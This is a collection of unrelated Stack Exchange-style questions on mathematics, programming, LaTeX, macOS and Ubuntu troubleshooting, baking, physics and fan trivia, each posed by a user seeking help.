Dini's Theorem and tests for uniform convergence

Suppose $f_n$ is a sequence of functions defined a set $K$ with pointwise limit function $f$.  I am confused about the following.      If the following conditions are satisfied:         $f_n$  is continuous on $K$ for all $n$.   The pointwise limit $f$ is continuous on $K$.   $K$ is a compact interval (i.e., a closed and bounded interval in $\mathbb{R}$).   The convergence of $f_n$ to $f$ is increasing or decreasing.         Then does this imply that $f_n$ is uniformly convergent to $f$?   Now a different problem: If one of these conditions is not satisfied, does this imply that $f_n$  is not uniformly convergent to $f$?  If $f_n$ is not uniformly convergent to f, does this mean that one these four conditions doesn't hold?   In general: what is the logical relationship between uniform convergence and these four conditions?  Please, I need answers to all the above questions because this theorem always confuses me when I solve the problems and I don't know how to use it properly. Thanks for your help in advance.


Bootcamp error not enough space available on the disk

I have a problem when trying to install Windows on my MacBook Pro 2015 using Bootcamp, I am using MacOS Mojave 10.14. I have replaced the original SSD for a different one, bigger M.2 NVMe PCI-e SSD fitted with adapter. Although everything seems to work just fine, Bootcamp seems to have troubles with the partitioning. When I run Bootcamp assistant and try to install Windows, the support software can not be saved to the disk. This is the error message I get:  Even though I have split my 1TB SSD in half. (512GB for Windows) I have turned Time Machine off, made sure there was only 1 volume on the disk before installation... I even tried to install Windows using USB, which almost worked, but crashed several times right before the installation finished. I have tried several ISO files. Nothing worked. Is the main problem the replaced SSD or can there be a different problem?


Fast-track for marking own question as duplicate?

I posted this question. Dhawal found another question that basically asked the same thing, so I tried to close my question as a duplicate.  I had to suggest a close, wait for other people to review the close reason (my vote seems to have counted in this vote), and then I got the standard "this question has been marked as duplicate".  It seems like this is a good place to allow a fast-track. Marking your own question as a duplicate, if you have "enough" reputation, could skip the review queue.  Thoughts?


Can omnibenevolence be seen as a limit to omnipotence?

The existence of evil seems almost to be an arbitrary step in the problem of evil. This is because  an omnibenevolent being cannot have the capacity to act malevolently, which an omnipotent being must have.  It's not the most sound argument, but in essence what I'm asking is can,or must, an omnibenevolent being have the ability to act immorally?


How to find approximation of variance of $i^{th}$ order statistic

Given PDF and CDF of a distribution, how does one find an approximation of $(\operatorname{Var}(X_i))$ using a normal approximation of $(X_i)$?   According to "Mathematica Laboratories for Mathematical Statistics" by Jenny Baglivo (Theorem 9.1 on page 120), it is said that:  $\operatorname{Var}(X_i) \approx p(1-p) / (n+2)f(x)^2$ where $f$ is PDF, $x$ is $p^\text{th}$ quantile of the $X$ distribution, and $p = i/(n+1)$  I have $0$ ideas on how we get to this result. I am absolutely drawing at a blank. Help is very much appreciated!


In java passing an array mimics a concept called "pass-by-reference", meaning that when an array is passed as an argument, its memory address location (its "reference") is used. In this way, the contents of an array can be changed inside of a method, since we are dealing directly with the actual array and not with a copy of the array.  Now in this example       class ChangeIt      {     static void doIt(int[] arr)     {     arr[0]=arr[arr.length-1];     /*arr=null;*/     }     }     public class TestIt {       public static void main(String[] args) {     int[] arr={1,2,3,4,5};     ChangeIt.doIt(arr);     for(int i :arr)         System.out.print(i +" ");       }      }   If I run the program i get the output 5 2 3 4 5  but if I comment this line in my program         arr[0]=arr[arr.length-1]; and uncomment this line in my program         arr=null; still I get the  output as 1 2 3 4 5  My question is why is the java.lang.NullPointerException is not raised when passing an array mimics a concept called "pass-by-reference" ?


How to block and unblock the media ports in MAC OSX 10.9?

I am working on a test project that requires me to block all media ports on my Mac OS X 10.9.   The instructions I'be veen given are "Chinese" to me :-) I have no idea how and where to start, let alone how to unblock them after I manage to block them...   Thanks so much!  Instructions available:   [User]-iMac:~ [User]$ sudo ipfw add deny udp from any to any dst-port 50000-65535 00100 deny udp from any to any dst-port 50000-65535 [User]-iMac:~ [User]$ sudo ipfw list 00100 deny udp from any to any dst-port 50000-65535 65535 allow ip from any to any


I have a couple of questions about generic wildcards in Java:   What is the difference between List<? extends T> and List<? super T>? What is a bounded wildcard and what is an unbounded wildcard?


Writing equations with neatly defined parameters

I have been dealing with a multitude of equations in my thesis and it gets really repetitive defining each parameter verbally after each equation; personally I find it inefficient and at times messy. So I came up with the idea of displaying the units as follows (Word example):    With the parameters listed below with a 1/2 or 2/3 page indent (I will have to test out what works) and a single line spacing between each definition to save page space (currently using 1.5). If possible I would like to have the parameters aligned as well as the definitions but this isn't crucial, I believe it will look neater, as seen in the above example.  I tried including the list within the equation environment but it does not work well as the equation number is displaced.  I offer my MWE for my document class:  \documentclass{scrreprt} \usepackage{amsmath} \usepackage{siunitx}  \renewcommand{\labelitemi}{}  \begin{document}  I would like to have the units neatly defined for Equation~\eqref{eq:newton_gravity}\dots  \begin{equation} \label{eq:newton_gravity} F=G\frac{{m_1}{m_2}}{{r^2}} \end{equation} \begin{itemize} \item $F$: Force. \item $G$: Gravitational constant. \item $m_x$: Mass of object x. \item $r$: Distance between centres of two objects. \end{itemize}  \end{document}


Is there a StackExchange Symbol in LaTeX?

Is there a StackExchange logo in Latex (package)?  Something like this:    I have managed to find packages for similar . but couldn't find one for StackExchange?


In PHP, if a static attribute is defined in the parent class, it cannot be overridden in a child class. But I'm wondering if there's any way around this.   I'm trying to write a wrapper for someone else's (somewhat clunky) function. The function in question can be applied to lots of different data types but requires different flags and options for each. But 99% of the time, a default for each type would suffice.  It would be nice if this could be done with inheritance, without having to write new functions each time. For example:  class Foo {     public static $default = 'DEFAULT';      public static function doSomething ($param = FALSE ) {         $param = ($param === FALSE) ? self::$default : $param;         return $param;     } }  class Bar extends Foo {     public static $default = 'NEW DEFAULT FOR CHILD CLASS'; }  echo Foo::doSomething() . "\n";  // echoes 'DEFAULT'  echo Bar::doSomething() . "\n";  // echoes 'DEFAULT' not 'NEW DEFAULT FOR CHILD CLASS'  // because it references $default in the parent class :(


How can virtual memory be greater than the total available space?

Why does my MBP sometimes report VM Size: 300+ GB in Activity Monitor under System Memory tab, when my hard disk size is only 250 GB (total) and RAM is 4GB? I know it can't magically get that extra space, but what is it trying to tell me?


We're planning to upgrade an existing farm from 2007 to 2013. I learned that the best way and maybe the only way to achieve this is by migrating in two steps. 2007 to 2010 and 2010 to 2013. The actual farm is a sql-server(2008r2 64 bit) and a sperate sharepoint-server(web-frontend, etc....) I want to keep the sql-server as it is, if possible and we want to install a new 64bit host for sharepoint 2013. We will design a new branding for 2013 afterwards, so we need to keep the content, but not the layout. There's so much about migration available on the web, but Can I find something like best practises?


I tend to make a starter for my bread, typically a poolish. Sometimes I make ciabatta without a starter. I tend to see the same results either way. I give the starter 10-12 hours, then rise the dough to double(4-8hrs), then form the loaf, then proof to double(30min-2hrs) it before baking at 475F with a few ice cubes in the bottom of the oven.  A few things I suspect:   The flour I use The temperature of my kitchen(though I always rise to double, not by time) Not using enough yeast(~1/4tsp in starter + 1/8tsp in dough) Over proofing Under proofing I need to adjust my level of hydration(I noticed my loafs tend to rise out more than up) Living at high altitude(9,000ft), though I hear this is supposed to increase speed of the rise. Too little gluten   What would cause my bread to always have a fine crumb? With my ciabatta I feel like its not really ciabatta because its crumb isn't coarse enough. Its more like a dense american style bread with a ciabatta crust. My french bread has the same exact crumb. Its very consistent through out the whole loaf, and I rarely(almost never) find any large holes in the bread.  My bread recipes:  Note: I measure to consistency, so any measurements are going to be crude.  Cibatta:   4c flour 2c water 1/4tsp yeast   Mix warm water (~175-180F), yeast, and a dash of sugar to feed the yeast. Sit for 15min(until water froths). Mix remaining ingredients together. Wet knead dough in bowl till consistent and gluteny. Rise overnight(10-12hrs). Punch down, pour dough out and shape by pulling to a crude oval shape. Proof till doubled(~1-2hrs), rises out not up due to high moisture and no added surface tension. Bake at 500F drop to 475F. Bake until bottom produces a hallow knock.  French bread:   Starter/Poolish   1 1/3C flour 1/4tsp yeast 1C water  Dough   3C flour 1/8tsp yeast pinch of salt(1/8tsp)    starter: Mix warm water(175-180F), yeast, and dash of sugar. Sit for 15min(until water froths). Add remaining ingredients. Let stand for 10min to hydrate completely. Mix until smooth. Let sit overnight(10-12hrs).  dough: Mix flour, yeast, and salt. Add poolish. Mix until consistent. Adjust hydration if to wet/dry(add flour or water). Knead until consistent, firm, and gluteny.  The french bread is a much less hydrated dough. It's not firm like pasta dough, but it can hold its shape unlike the ciabatta. The ciabatta just spreads out on its own, but holds together enough to be picked up(carefully).


Boot to Ubuntu on USB without having to reset BIOS every time

I have successfully installed full Ubuntu on a USB 3 stick drive. I mainly use Win 10 but my aim is to be able to boot into the Ubuntu stick drive by simply plugging the stick in before booting. I have set the boot priority order in BIOS to Ubuntu stick > Windows boot Controller > etc etc However, when I boot to Ubuntu and wish to return to a Win 10 by removing the USB stick and rebooting the system requests a Grub response. Then I have to reboot change the boot order in BIOS to Windows > Ubuntu. Is there a way to occasionally boot to the Ubuntu stick without having to continually reset boot order in BIOS ?


When is $\mathbf{X}^{T}\mathbf{X}+\lambda\mathbf{I}$ invertible?

The question is quite simple: for a $N \times p$ matrix $\mathbf{X}$ with real entries, when is $\mathbf{X}^{T}\mathbf{X}+\lambda\mathbf{I}$ invertible (where $\mathbf{I}$ is the $p \times p$ identity matrix and $\lambda > 0$)?  This comes up in ridge regression. In Elements of Statistical Learning (Hastie et al.),      [The equation] adds a positive constant to the diagonal of $\mathbf{X}^{T}\mathbf{X}$ before inversion. This makes the problem nonsingular, even if $\mathbf{X}^{T}\mathbf{X}$ is not of full rank.   I know that $\mathbf{X}^{T}\mathbf{X}$ is invertible if and only if it is of full rank if and only if $\mathbf{X}$ is of full column rank. The explanation is quite intuitive, but how do I prove it?


MiKTex package update fails "Windows API error 87"

I have just installed MiKTex 2.9 in Windows 7. I had  and fixed it by deleting the .fndb files.  The first time I try to compile a "hello world" .tex file , a window pops up titled Package Installation telling me that a file is missing and I need to install the package cmap.   I click Install and it shows, after downloading the package, Unfortunately, the package cmap could not be installed.Please check the log file: C:/Users/Matt/AppData/Local/MiKTeX/2.9/miktex/log/pdflatex.log.  The log file contains:  2015-09-08 23:55:22,798+1200 INFO  pdflatex - installing package cmap triggered by tex\latex\cmap\cmap.sty 2015-09-08 23:55:25,488+1200 INFO  pdflatex - mpm: starting package maintenance... 2015-09-08 23:55:25,488+1200 INFO  pdflatex - mpm: installation directory: "F:\Prog\MiKTeX 2.9" 2015-09-08 23:55:25,488+1200 INFO  pdflatex - mpm: package repository: http://mirror.aut.ac.nz/CTAN/systems/win32/miktex/tm/packages/ 2015-09-08 23:55:25,728+1200 INFO  pdflatex - mpm: lightweight database digest: fd7a40a42ed2f1e70be3b6bdb1baccf2 2015-09-08 23:55:25,738+1200 INFO  pdflatex - mpm: going to download 7251 bytes 2015-09-08 23:55:25,738+1200 INFO  pdflatex - mpm: going to install 14 file(s) (1 package(s)) 2015-09-08 23:55:25,738+1200 INFO  pdflatex - mpm: downloading http://mirror.aut.ac.nz/CTAN/systems/win32/miktex/tm/packages/cmap.tar.lzma... 2015-09-08 23:55:25,908+1200 INFO  pdflatex - mpm: 7251 bytes, 41.65 KB/Sec 2015-09-08 23:55:25,918+1200 INFO  pdflatex - mpm: extracting files from cmap.tar.lzma... 2015-09-08 23:55:25,938+1200 FATAL pdflatex - Windows API error 87: The parameter is incorrect.   I have found that if I close TeXworks and open the MiKTex Package Manager, I can enter cmap and install the package successfully.  But then when I reopen TeXworks and build my file again, the exact same thing happens but with babel-english instead of cmap.  I have no idea how many packages it is going to need and this could be very time-consuming...  Is there a way to fix the auto package download?  I tried installing package ms as suggested  but that did not fix the problem.    Update: I discovered that if I run the Package Manager while TexWorks is still open, then the package installation for babel-english fails with the same Windows API error 87: The parameter is incorrect. but it gives extra information:  Data: C:\ProgramData\MiKTeX\2.9\miktex/data/le\0830eb7b3437d95b9288750893206d6f.fndb   So I wonder if this problem is related to or in fact the exact same problem as .


What products can I use to repair large holes in plaster?

I have a roughly 4'x 3' hole in plaster wall.  I've seen few youtube videos about how to repair it, but none of them say what product/mix they use.  I've read about using DAP Plaster Wall Patch, but it's not carried by most stores anymore.  Neither is structalite.  Any other product I can use instead of actual plaster?


Array declaration: Parenthesis after Name or Type

In VB.NET there are two ways to declare an array without initialization  1.  Dim Foo() As Integer   2.  Dim Foo As Integer()   I noticed that but never really cared about it and sometimes used the first and sometimes the second syntax. Now I wonder if both methods are really identical.  Which one should I use?  Looking at the IL code in ILSpy I see that  Private d1() As Integer Private d2 As Integer()   results in  .field private int32[] d1 .field private int32[] d2   meaning that they are both identical.  Is this always the case? Why are there two ways to write the same code?


Filipino transferring between Narita and Haneda, do I need a transit visa?

My flight is LAX to Narita and to Haneda for my connecting flight going to the Philippines  My questions are:   Do I need a transit visa? Do I need to claim my luggages before proceeding to my connecting flight


What's wrong with this equal probability solution for Monty Hall Problem?

I'm confused about why we should change door in the Monty Hall Problem, when thinking from a different perspective  gives me equal probability.   Think about this first: if we have two doors, and one car behind one of them, then we have a 50/50 chance of choosing the right door.   Back to Monty Hall: after we pick a door, one door is opened and shows a goat, and the other door remains closed. Let's call the door we picked A and the  other closed door B. Now since 1 door has already been opened, our knowledge has changed such that the car can only be behind A or B. Therefore, the problem is equivalent to: given two closed doors (A and B) and one car, which door should be chosen (we know it's a 50/50 thing)? Then, not switching door = choosing A, and switching door = choosing B. Therefore, it seems that switching should be equally likely, instead of more likely.   Another way to think: no matter which door we choose from the three, we know BEFOREHAND that we can definitely open a door with a goat in the remaining two. Therefore, showing an open door with a goat reveals nothing new about which door has the car.   What's wrong with this thinking process? (Note that I know the argument why switching gives advantage, and I know experiments have been done to prove that. My question is why the above thinking, which seems legit, is actually wrong.) Thanks.


number the equation without section or chapter

i want to number the equation without the number 2 in the image please   \begin{equation}\label{N} (Nu)(x,y)=\mu(x,y)+\frac{1}{\Gamma(r_1)\cdot\Gamma(r_2)}\displaystyle{\int_{1}^{x}}\displaystyle{\int_{1}^{y}} \left(\log\frac{x}{s} \right)^{r_1-1}\left(\log\frac{y}{s} \right)^{r_2-1}\frac{f(s,t,u(s,t))}{st}dtds  \end{equation}


Is there any Stack Exchange site for discussing psychology?

I am new to Stack Exchange. I know there is a lot of discussion sites for Stack Exchange. I would like to know about there were any Stack Exchange site available for discussing and solving personal psychological problems.


The amplification of this amplifier is 1. So we have a buffer. But the question i wanted to ask was.    What can we tell about the current amplification of the circuit below? Is this circuit useful? I also found out that when i apply 8Vp-p at the input, i have a distortion at the output. Why does it happen around that voltage? or a basic explanation on it!


The conquest movie with time manipulating machine that speeds up aging process?

So, not a time travel movie. It is set in a medieval-like world, with an evil witch stealing the time machine from the sorcerer, then she turns it up, causing everyone in the kingdom to get older very fast, so the quest is on to get the machine before everyone dies from aging. If anyone knows what this movie is, it will be a miracle, Iäve been searching the web for this movie I once saw on TV for ages. Thanks!


Search seems to be broken,   Search does not return any results for <%#  I looked at :  https://meta.stackoverflow.com/help/searching   But It did not help.   update: With more trial and error I turns out that if I do search like: "<%#" Then I do get results.   page says use quotes only for phrases, but  quotes are needed in this case also.   I would like to suggest to update the search help page. As It is the first location people will look when their search fails.


I've seen the formula for differentials alot, namely  $$dy=f'(x)dx$$  but what I think when I see this is that someone is manipulating the "formula"  $$f'(x)=\frac{dy}{dx}$$  When I think of "differential equation", I think of  $$f\left(x,y,\frac{dy}{dx},\frac{d^2y}{dx^2},\cdots,\frac{d^ny}{dx^n}\right)=0$$  not  $$f(x,y,dy,dx,\cdots)=0$$  I've heard that $\Delta y$ and $\Delta x$ can be approximated by $dy$ and $dx$ (or maybe its the other way around?), but that doesn't make much sense to me. If you replace $dy$ and $dx$ by $\Delta y$ and $\Delta x$, you sort of have Euler's method, but this still doesn't clear much up for me. So,  What exactly is a differential, and why is it useful?


How many times Harry Potter movies didn't follow books?

I have just learned that . But Harry broke it in the movie. Perhaps movie makers are jerks or they did that due to marketing reasons (it looks fantastic).  Now I am curious: How many times did the movies not follow the books? Please, list up.


Normal subgroup intersection with center of p-group is not trivial

If $G$ is a finite $p$-group and $H\neq 1$ is normal in $G$, then $H\cap Z(G)\neq 1$ I know that there is an answer  but it uses composition series. My teacher gave me the following hint: $$G = Z(g)\cup (\cup G_{x_i})$$ and to see $H$ as $$|H| = |H\cap Z(G)| + \cdots$$ I think it has something to do with the class equation. If we let $G$ act on $H$ by conjugation, I know that the class equation becomes: $$|H| = |\{h | ghg^{-1}=h\}| + \sum_{i}|\{gh_ig^{-1}| g\in G\}| = \\ |\{h \ | \ gh =  hg\}| + \sum_{i}|\{gh_ig^{-1}| g\in G\}| = Z(G) + \sum_{i}|G_{x_i}| = Z(G) + \sum_{i}(G:G_{x_i})$$ (the last equality I'm just guessing... Shouldn't it have something to do with $H$?) I also feel that the conclusion should follow from $|H|$ being $>1$ and divisibility, but I'm not quite sure. Could somebody help me and also verify if my class equation is right?


If you shove an enemy towards another player in your party, would that player be able to make an opportunity attack?

I'm playing a way of the open hand Monk, I use flurry of blows and using a ki point I can opt to shove my target up to 15 ft.  If I pushed it to within 5ft of a fighter in my party, could they use their reaction to make an attack of opportunity? Or do opportunity attacks only occur when leaving a characters reach?


Is my GPA good enough for top-tier graduate schools?

I'm currently an undergraduate and have a cGPA of about 3.6 in Mathematics. I worry that it's not good enough to land me a place at some of the best graduate schools such as UCB, Princeton and MIT. I still have a little over a year left till I get my degree, which means that I still have time to mess up or increase my GPA. So I guess my question is pretty straightforward, is my GPA enough? What more should I do to improve my chances? I've loved mathematics since a long while but now I fear that I'm worried only about maintaining good grades which has made me lose interest in everything I study. I want to get the same interest that I had back but the grades keep holding me back from it. I initially wanted to delve into research but given that I've lost interest in everything how can I expect it to be fun?What do I do to fix that? Any help would be appreciated.


I have configured network adapter of guest Ubuntu to work in a bridged mode so I could ssh to it from the host machine.   The problem is that the guest Ubuntu ip address keep changing.   Even though it changes  within a very short range 192.168.0.4-10 it is still takes time to configure Putty and other programs each time.  Is there a way to make the guest Ubuntu ip address to be static?  My guest OS has the full GUI.


What did Nebula do in Avengers: Endgame?

Did the younger Nebula shoot and kill the older in Avengers: Endgame or was it the other way around?  and Was the shot fatal?


Updates stopped and fix-broken install is broken

I was having an error doing normal ubuntu(18) updates related to ValueError: bad marshal data I deleted pyc files in /usr as suggested but no joy. I tried removing and reinstalling python - but hit this problem: jon@:/var/www/stats/pup$ sudo apt install --reinstall python3-apt Reading package lists... Done Building dependency tree        Reading state information... Done You might want to run 'apt --fix-broken install' to correct these. The following packages have unmet dependencies.  apport : Depends: python3-apport (>= 2.20.9-0ubuntu7.21) but 2.20.9-0ubuntu7.20 is to be installed  apport-gtk : Depends: python3-apport (>= 2.20.9-0ubuntu7.21) but 2.20.9-0ubuntu7.20 is to be installed E: Unmet dependencies. Try 'apt --fix-broken install' with no packages (or specify a solution).  I tried apt --fix-broken install  but this fails: (Reading database ... 320885 files and directories currently installed.) Preparing to unpack .../python3-apport_2.20.9-0ubuntu7.21_all.deb ... Traceback (most recent call last):   File "<frozen importlib._bootstrap>", line 1159, in _install ValueError: bad marshal data (unknown type code) Fatal Python error: Py_Initialize: importlib install failed  Current thread 0x00007fd7fedd1740 (most recent call first): Aborted dpkg: warning: old python3-apport package pre-removal script subprocess returned error exit status 134 dpkg: trying script from the new package instead ... Traceback (most recent call last):   File "<frozen importlib._bootstrap>", line 1159, in _install ValueError: bad marshal data (unknown type code) Fatal Python error: Py_Initialize: importlib install failed  Current thread 0x00007f5f2bcdf740 (most recent call first): Aborted dpkg: error processing archive /var/cache/apt/archives/python3-apport_2.20.9-0ubuntu7.21_all.deb (--unpack):  new python3-apport package pre-removal script subprocess returned error exit status 134 Traceback (most recent call last):   File "<frozen importlib._bootstrap>", line 1159, in _install ValueError: bad marshal data (unknown type code) Fatal Python error: Py_Initialize: importlib install failed  Current thread 0x00007faebc356740 (most recent call first): Aborted dpkg: error while cleaning up:  installed python3-apport package post-installation script subprocess returned error exit status 134 Errors were encountered while processing:  /var/cache/apt/archives/python3-apport_2.20.9-0ubuntu7.21_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1)


Is it possible to maximize all the skills and gain all the perks?

In one playthrough, will it be possible for me to get every single perk and max all my skills?


Speccing out CPUs (more than just cores and clock)

This is not a production question, just something that I've been thinking about.  When speccing out CPUs I know the general rule is a faster clock speed will make a core run faster and the greater number of cores you have the more you can do in parallel.  However what makes a "newer" CPU generally faster than an older CPU other than these two things?  For example:   There is a noticeable difference between an older i5 and a newer i5 despite having the same number of cores and around the same GHz. My current dual core i5 running at 2.5 (I believe) GHz would surely blow a Pentium 4 out of the water, despite the Pentium running at > 3GHz.  I'm sure I could blow a dual core server from 2004 out of the water as well just to make things fair core-wise.  I have never done any formal benchmarking, these are just educated guesses.   What are some things to look for when speccing out CPUs?


I am an undergraduate studying mathematics.  I am currently in the process of writing my first paper for submission to an academic journal.    While learning about the process of submitting a paper it has become apparent to me that most journals require the paper to be formatted using LaTeX.  So... I am now trying to learn how to use it.    I do have a little experience with LaTeX because I have used Math Stack Exchange.    That being said, I just feel very overwhelmed.    So I am hoping you guys could give me a little direction and answer a few questions.  I downloaded the ProText distribution yesterday and installed Texstudio and MiKTeX, and then it also came with Sumatra.    So Textstudio is what you would call a LaTex editor right?  Then what exactly is MiKTeX and Sumatra?  I don't see an .exe file for MiKTeX, is it an application?  One of the journals I am thinking of submitting my paper to is the Fibonacci Quarterly.  They provide a style file that gives you a template for how the paper should look.  So I guess that should make it much easier for me.  I should be able to just copy and paste the code right into TeXstudio correct?  And then just insert my text and equations in the appropriate areas.  So is the ProText distribution a good distribution to be using along with TeXstudio, MiKTeX, and Sumatra?  Am I on the right track?    Is there anything else I should know?  Thanks in advance for the help.


Menu fixed on top after scrolling - Good or Bad?

I was wondering if it is a good thing to have a fixed menu on top of the screen after the user scrolls, this seems to be a growing tendency and I'm not sure what to think about it.  Example:      Your opinion is different if the ?


Can't get numeric only textbox input to work

I have html being rendered using Razor in an MVC project.  The html itself is on a bootstrap modal, so you click a button, and a modal loads with the following code:

             &times;
Event Details

                 @Html.ValidationSummary()

                 @Html.LabelFor(m => Model.Calendar.EventName, new { @class = "control-label" })                 @Html.TextBoxFor(m => Model.Calendar.EventName, new { @id = "SelectedEventTitle", @class = "form-control formTextBox" })

                 @Html.LabelFor(m => Model.Calendar.DateScheduled, new { @class = "control-label" })                 @Html.TextBoxFor(m => Model.Calendar.DateScheduled, new { @id = "SelectedDateTime", @class = "form-control formTextBox", @readonly = "readonly" })

                 @Html.LabelFor(m => Model.Calendar.TimeScheduled, new { @class = "control-label" })                 @Html.TextBoxFor(m => Model.Calendar.TimeScheduled, new { @id = "SelectedTime", @class = "form-control formTextBox", @readonly = "readonly" })

                 @Html.LabelFor(m => Model.Calendar.EventLength, new { @class = "control-label" })                 @Html.TextBoxFor(m => Model.Calendar.EventLength, new { @id = "SelectedAppointmentLength", @class = "form-control numericOnly formTextBox" })

             <input type="submit" value="Save" id="btnSaveDetailsReferral" class="parsButton" />             <input type="button" value="Cancel" id="btnShowDetailsCancel" class="parsButton" aria-hidden="true" data-dismiss="modal" />

   That's all fine, it acts and looks how is should.  My problem is on the line  @Html.TextBoxFor(m => Model.Calendar.EventLength, new { @id = "SelectedAppointmentLength", @class = "form-control numericOnly formTextBox" })   I want this textbox to only allow numeric input.  I know I can use validation when I submit the form, but I don't want to do it that way, I want only numbers to actually appear in the box when typing, if you type or paste anything else, they won't work.  I tried @type="number", which didn't work.  I also have the following jquery code, which actually works on another part of the project:  $(".numericOnly").bind('keypress', function (e) {     if (e.keyCode == '9' || e.keyCode == '16') {         return;     }     var code;     if (e.keyCode) code = e.keyCode;     else if (e.which) code = e.which;     if (e.which == 46)         return false;     if (code == 8 || code == 46)         return true;     if (code < 48 || code > 57)         return false; });  //Disable paste $(".numericOnly").bind("paste", function (e) {     e.preventDefault(); });  $(".numericOnly").bind('mouseenter', function (e) {     var val = $(this).val();     if (val != '0') {         val = val.replace(/[^0-9]+/g, "");         $(this).val(val);     } });   But for some reason, it doesn't work on this textbox within the modal.  It works on other textboxes that aren't in modals, exactly as expected.  Can anybody identify what the problem is, or what I'm doing wrong?


How can a positive integrand integrate to 0?

I integrated $\dfrac{\log x}{1+x^2}$ from $0$ to infinity with residue calculus and got... $0$.  This also agrees with Wolfram Alpha.  How can this be?    Is it due to the behavior of $\log(x)$ near the origin?  Like a cancellation effect?    Thanks,


Just finished writing my first Python package for work and made it pip installable.  How can I write a help() section like below? Ideally this would just point to my README as that is already written in .md and this package is for consumption in Jupyter.  Do I just put all of my README text in the package description?  >>> import pandas as pd >>> help(pd)   Help on package pandas:  NAME     pandas  DESCRIPTION     pandas - a powerful data analysis and manipulation library for Python     =====================================================================      **pandas** is a Python package providing fast, flexible, and expressive data     structures designed to make working with "relational" or "labeled" data both     easy and intuitive. It aims to be the fundamental high-level building block ...      Main Features     -------------     Here are just a few of the things that pandas does well:        - Easy handling of missing data in floating point as well as non-floating         point data...   Feedback welcome:     ANSWER this has been marked as duplicate and I provided a comprehensive answer here:


How to set (restore) the com.apple.quarantine attribute?

There are questions with good answers that explain how to remove the com.apple.quarantine extended attribute but I was wondering how does one restore / set it back again?  I tried this:  xattr -w com.apple.quarantine $VALUE /Applications/AnApp.app   but apparently not knowing what attribute's value should be this achieves nothing.  I guess it is all about the attribute's value, which is of the following format:  com.apple.quarantine: 0061;53822fd4;Google\x20Chrome;C1022EC2-E1B2-4896-AF74-B68F4BF97779   What I want to do is make Gatekeeper ask me again whether I want to run this app or file, or not. Restore the same behavior as if the file was just downloaded from the Internet and it is run for the first time.


What is wrong with this proof of Cayley hamilton?  If $A$ is $n \times n$ matrix and $P$ is its characteristic polynomial then $P(A) = 0.$   Proof: $P(x) = \det(A - xI) \implies P(A) = \det(A - A) = \det(0) = 0.$


$$\Delta x \Delta p_x \geq \frac{\hbar}{2} $$  I understand what does  states i.e. it's definition and it has been proven experimentally. But, can anyone please explain the reason for whatever this principle states i.e. why it happens?   Stating this principle in reference to the single slit experiment with electron (one particle experiment i.e. electrons are fired one at a time): Assuming the variable width of the slit is along the X-axis. So, if an electron passes through the a thin slit we can say the uncertainty in position is $=\Delta x$ which is equal to the  width of the slit. Now, we can also know the $x$ component of the momentum at he time when electron passes through the slit using distance between the slit and screen, time interval and the distance between the centre of the screen and the point where the electron hits.   As, the electron was fired towards the centre of screen we should expect a point on the screen but instead we get a gaussian distribution, and as we decrease the width of the slit (decrease $\Delta x$) the FWHM of the gaussian distribution increases i.e. $\Delta p_x$ increases which means the uncertainty in the measurement or prediction of $p_x$ increases.   Which is exactly what Heisenberg's Uncertainty principle states. But, can anyone please explain how/why this happens?


Python 3 module import error from another folder

Folder Structure:    main    |__ sub1       |__ __init__.py    |__ sub2       |__ test.py   I need to import inside test.py:  from .. sub1 import SomeClass   It shows this error :     ValueError: attempted relative import beyond top-level package.   Thank you for responses.


I was wondering a lot about it lately. I found various examples of it, specially in more formal/old texts.  The first time I realized it was reading what Oppenheiner said in an intreiew after the test with a nuclear bomb, he quotes the Bhagavad-gita and says:     "Now I am become death, the destroyer of worlds.   What is this am doing there? What is its function? I am not an english native speaker, so I found it very tricky to find out the logic behind it, maybe some older tense I'm not aware of, or maybe "become" is not funcioning like a verb in an older context (but I think it is not as likely, knowing abou germanic languages in general).


What is the scope of variables in JavaScript?

What is the scope of variables in javascript? Do they have the same scope inside as opposed to outside a function? Or does it even matter? Also, where are the variables stored if they are defined globally?


$f: \mathbb{R} \to \mathbb{R}$ that takes each value in $\mathbb{R}$ twice

Does there exist a continuous function $f: \mathbb{R} \to \mathbb{R}$ that takes each value in $\mathbb{R}$ exactly two times?


Copied from  on Ask Ubuntu Meta, as I think this could be applied to all the sites.  Some users (especially first time users) ask completely rubbish questions, such as , they say "unfortunately wi-fi is not working any ideas on how to fix this". It is one of the broadest questions I've seen, and it's quite frustrating, giving no information in the text.  Could we bring in a feature where the default question asking page for new users isn't this - just one big box...:    ...but is split up, more like this:    Which gives them more prompts etc. (The image one would suggest a link to imgur) It could be the default for users who have less than 20 rep, to avoid annoyingly uninformative questions. If they got 100 from as an association bonus, then that would be included (i.e. they wouldn't see it), unless one of their questions is flagged, and then they see it, until they had earned 20 (i.e. had 120).   that at the side there could be suggestions based on keywords you've typed, or what you've tagged the posting as. For example if the OP types "Ubuntu won't boot" for the first question box, then the suggestion-box might read "It may be helpful to mention what version of Ubuntu you are running." Not all questions would trigger a suggestion, just some basic common ones. ()   that after the 'what have you done to solve it' box, it could suggest searching for an answer before posting (even providing a link to google/bing searching the title etc). This would make them more likely to search for it.  This is similar, but different to  as this has different suggestions - it suggests using separate boxes to help avoid some of the problems outlined over on that question.


I dragged and dropped an image into blender and placed it where I want it. It is visible in the viewport even when I hit Numpad 0 , but not in F12  render. Also Ctrl + Alt + H  isn't working, nor any combination.


Reviewing Firefox Extensions - When was it installed?

I wish to review my Firefox Extensions, specifically I want to know the date when I installed all my extensions. Is this possible?  I know about  support article but it's not helpful.  And I know about about:addons


Is the number 7 magical in the HP universe?

"...isn't  the most powerfully magical number, wouldn't seven-?"   Well is it? The list link lacks...magic, most of the events being mundane or even coincidental.  Edit; because the question is fairly trivial without this change: Are there any examples of the number seven being magical in nature? In particular is there any actual magical advantage to having 7 horcruxes, or is it just sentiment?


is frozen hamburger ok to eat after the sell by date?

I have a pound of hamburger meat that has not been opened yet. The sell by date was on may 23 2013. Is it ok to eat?


Why are objects at rest in motion through spacetime at the speed of light?

I read that an object at rest has such a stupendous amount of energy, $E=mc^2$ because it's effectively in motion through space-time at the speed of light and it's traveling through the time dimension of space-time at 1 second per second as time goes forward.  What troubles me here, is the fact that it is traveling through space-time at the speed of light. Why is it at the speed of light?


Would a different IP address for each site in a network of sites help with SEO or prevent a penalty?

